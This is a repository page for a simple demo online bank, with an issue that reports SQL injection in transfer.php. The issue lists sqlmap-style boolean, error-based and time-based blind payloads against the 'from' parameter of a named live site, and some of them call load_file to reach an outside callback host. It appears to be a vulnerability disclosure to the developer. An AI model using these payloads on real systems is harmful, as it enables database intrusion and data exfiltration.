chinmay29hub/online-bank

A simple online bank with a dummy database of 10 customers

online-bank

A simple online bank with a dummy database of 10 customers

Website Link : https://chinmay29hub.000webhostapp.com/

online-bank's Issues

SQLi

Hello dear developer, you have a serious SQL injection problems in transfer.php app

---
Parameter: from (POST)
    Type: boolean-based blind
    Title: OR boolean-based blind - WHERE or HAVING clause
    Payload: from=-3541' OR 9719=9719 AND 'QUYN'='QUYN&to=1&amount=794188

    Type: error-based
    Title: MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)
    Payload: from=1'+(select load_file('\\\\ntk81z16ggko90xujoh28fv55wbpzhn8qwij87x.tupmangalos.com\\myt'))+'' AND (SELECT 4987 FROM(SELECT COUNT(*),CONCAT(0x717a766271,(SELECT (ELT(4987=4987,1))),0x716b626b71,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a) AND 'OnrI'='OnrI&to=1&amount=794188

    Type: time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
    Payload: from=1'+(select load_file('\\\\ntk81z16ggko90xujoh28fv55wbpzhn8qwij87x.tupmangalos.com\\myt'))+'' AND (SELECT 6572 FROM (SELECT(SLEEP(5)))DxPT) AND 'KtiI'='KtiI&to=1&amount=794188
---

• • • Check here place ;)
      href

Exploit and Proof:

href

BR